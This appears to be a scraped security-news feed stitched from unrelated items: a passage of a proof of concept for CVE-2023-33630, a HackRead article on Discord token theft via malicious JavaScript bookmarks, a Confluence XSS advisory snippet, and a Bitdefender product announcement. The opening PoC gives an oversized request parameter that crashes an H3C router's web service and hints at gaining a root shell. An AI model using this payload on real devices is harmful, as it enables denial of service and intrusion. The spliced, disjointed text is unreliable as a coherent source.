CMD=EditvsList&param=;;;;;;;;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33630: H3C Magic R300-2100M was discovered stack overflow via the EditvsList interface at /goform/aspForm - HackMD

By Waqas
Discord admins, beware: scammers are hijacking accounts and stealing cryptocurrency funds by using malicious bookmarks in a new and tricky attack.
This is a post from HackRead.com Read the original post: Crypto Discord Communities Targeted by Malicious Bookmarks & JavaScript

Several crypto-based Discord communities, including Aura Network, MetrixCoin, and Nahmii, have already fallen victim to the attack.

Discord communities have become prime targets for cybercriminals, with frequent attacks being reported on this platform. In a recent wave of attacks, several crypto-based Discord communities, including Aura Network, MetrixCoin, and Nahmii, have fallen victim.

While hackers typically **target Discord communities focused on cryptocurrency** discussions, this time they are specifically targeting admin accounts belonging to these groups.

**Attack Method:**

According to Brian Krebs from KrebsOnSecurity, there has been a significant increase in attacks aimed at compromising admin accounts on Discord. Attackers are attempting to exploit these accounts by executing **malicious JavaScript code**. To trick users into executing the code, it is disguised as a seemingly harmless browser bookmark. A YouTube video has been released to demonstrate how this attack unfolds.

**Deceptive Strategy:**

The attackers employ a deceptive strategy by inserting JavaScript into browser bookmarks using the dragging feature on web pages. Discord admins have reported receiving interview requests from individuals posing as reporters from crypto-news outlets.

Once they agree to the interview, the admins are redirected to a fake Discord server that mimics the news outlet. They are then asked to verify their identity by dragging a button from the server to their browser’s bookmarks bar. The victims believe this action is part of the verification process and subsequently return to Discord.com and click on the new bookmark.

**Malicious JavaScript Snippet:**

Unbeknownst to the victims, the bookmark is a cleverly designed JavaScript snippet. This snippet covertly extracts the victim’s Discord token and sends it to the attacker’s website.

The attacker then loads the token into their browser session and proceeds to announce late-night exclusive airdrops or **NFT** mint events within the targeted Discord group. These announcements are intended to lure innocent members, who trust the legitimacy of the messages.

Victims are then instructed to connect their **crypto wallets to a web address** provided by the attacker and grant unlimited spend approvals on their tokens. Consequently, the attacker successfully drains funds from these compromised accounts. To cover their tracks, the attacker promptly deletes the messages and bans users who attempt to expose the scam.

**Token Functionality and Aftermath:**

The stolen token remains functional exclusively for the attacker until the original owner either log out or changes their credentials. This ensures that the attacker can exploit the hijacked account without arousing suspicion.

According to Krebs’ **blog post**, Nicholas Scavuzzo, an associate of Ocean Protocol, fell victim to this attack. On May 22, the admin of Ocean Protocol’s Discord server clicked on a link sent via direct message from a community member. The admin was then asked to verify their identity by dragging a link to their web browser’s bookmarks bar. Despite having **enabled multi-factor authentication** (MFA), Scavuzzo’s account was hijacked.

The attackers waited until midnight in Scavuzzo’s timezone to use the account, reducing the chances of immediate suspicion. They subsequently sent an unauthorized message announcing a new Ocean airdrop. Eventually, Scavuzzo contacted the server’s operator who hosted the channel, and the settings were reverted to normal.

**Conclusion:**

Discord admin accounts within crypto-focused communities have become prime targets for scammers utilizing malicious JavaScript bookmarks. The attackers exploit the trust of Discord admins by tricking them into executing the code disguised as innocent browser bookmarks.

Through this deceptive strategy, the scammers gain access to the victims’ Discord tokens, enabling them to carry out fraudulent activities, such as draining funds from compromised accounts. It is crucial for Discord users, especially admins, to exercise caution and be vigilant against such attacks.

**RELATED ARTICLES**

1.  New malware targets Discord users to steal personal data
2.  Teen “Hackers” on Discord Selling Malware for Quick Cash
3.  Google Ads Malware Wipes NFT Influencer’s Crypto Wallet
4.  Gaming Firms, Community Members Hit by Dark Frost Botnet
5.  Malicious npm Packages Used in Siphoning Off Discord Tokens

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Crypto Discord Communities Targeted by Malicious Bookmarks & JavaScript

A stored cross-site scripting (XSS) vulnerability in the Inline Table Editing application before 3.8.0 for Confluence allows attackers to store and execute arbitrary JavaScript via a crafted payload injected into the tables.

As we continue to move towards a cloud future together, new server app sales and installs are no longer available for customers. You can update app version via Atlassian Marketplace until the end of support for server on Feb 15, 2024. Learn more

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*   Direct import from Excel
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*   In continuous development

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CVE-2023-33287: Inline Table Editing | Atlassian Marketplace

By Habiba Rashid
According to Bitdefender, GravityZone Security for Mobile is a cutting-edge solution that leverages powerful antimalware technologies driven by real-time threat intelligence and machine learning.
This is a post from HackRead.com Read the original post: Bitdefender Introduces GravityZone Security for Android, iOS, and Chromebook

Bitdefender has launched GravityZone Security for Mobile, a next-generation mobile security solution designed to provide organizations with advanced Mobile Threat Detection (MTD) and robust security measures for Android, iOS, and Chromebook devices.

From communication and banking to entertainment and productivity, smartphones have become integral to our daily lives. However, this increasing reliance on mobile devices has also made them lucrative targets for cybercriminals.

According to the 2023 “Market Guide for Mobile Threat Defense” report by Gartner®, recent cyber attacks have shown the involvement of mobile devices at various stages, emphasizing the critical need for advanced mobile threat detection solutions.

**Bitdefender Introduces GravityZone Security**

Bitdefender’s GravityZone Security for Mobile is a cutting-edge solution that leverages powerful antimalware technologies driven by real-time threat intelligence and machine learning.

This unique combination enables the detection and mitigation of both known and unknown mobile threats. By providing application vetting, device status monitoring, and protection against malicious apps and phishing attacks, GravityZone Security for Mobile significantly enhances the overall security posture of mobile devices.

**Proactively Defending Against Network-Based Threats**

One major vulnerability faced by mobile phones is network-based threats. GravityZone Security for Mobile helps organizations detect and respond to these threats, including reconnaissance attempts and man-in-the-middle attacks. By mapping tactics and techniques used in security evaluations, this solution offers a proactive defence against sophisticated attacks specifically targeted at the mobile channel.

**Comprehensive Device Assessments for Strengthening Mobile Security**

Mobile device vulnerabilities pose significant risks to organizations. GravityZone Security for Mobile conducts comprehensive device assessments, monitoring for missing encryption, jailbreaking, root access, and outdated devices. This proactive approach enables organizations to identify and address vulnerabilities promptly, bolstering their mobile security.

**Seamless Integration and Centralized Management**

Integration with existing security solutions is vital for comprehensive protection. GravityZone Security for Mobile seamlessly integrates with the unified Bitdefender GravityZone console, allowing organizations to manage mobile security alongside other endpoint security solutions. This integration extends security beyond traditional endpoints, simplifying the overall security infrastructure and enabling centralized management.

**Cloud-Based and User-Friendly Approach**

With a cloud-based and user-friendly approach, GravityZone Security for Mobile ensures easy deployment and management for organizations with mobile workforces. Its zero-touch enrollment feature streamlines mass deployments of mobile devices, enhancing security without burdening end-users.

**Meeting Regulatory Compliance Standards**

Regulatory compliance is a top concern for organizations in regulated industries. GravityZone Security for Mobile provides real-time visibility, enabling application vetting, detecting abnormal app behaviour, and enforcing application version control. By facilitating user warnings, isolating risky applications, and taking necessary actions, organizations can meet privacy and security standards more effectively.

**Conclusion:**

As the mobile threat landscape continues to evolve, organizations must enhance their mobile phone security. Bitdefender’s GravityZone Security for Mobile offers a comprehensive solution that effectively tackles mobile threats head-on.

By leveraging advanced technology, proactive defense mechanisms, and seamless integration, organizations can ensure the security and privacy of their mobile devices, safeguarding their operations from evolving cyber threats.

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I’m a student and cybersecurity writer. On a random Sunday, I am likely to be figuring out life and reading Kafka.

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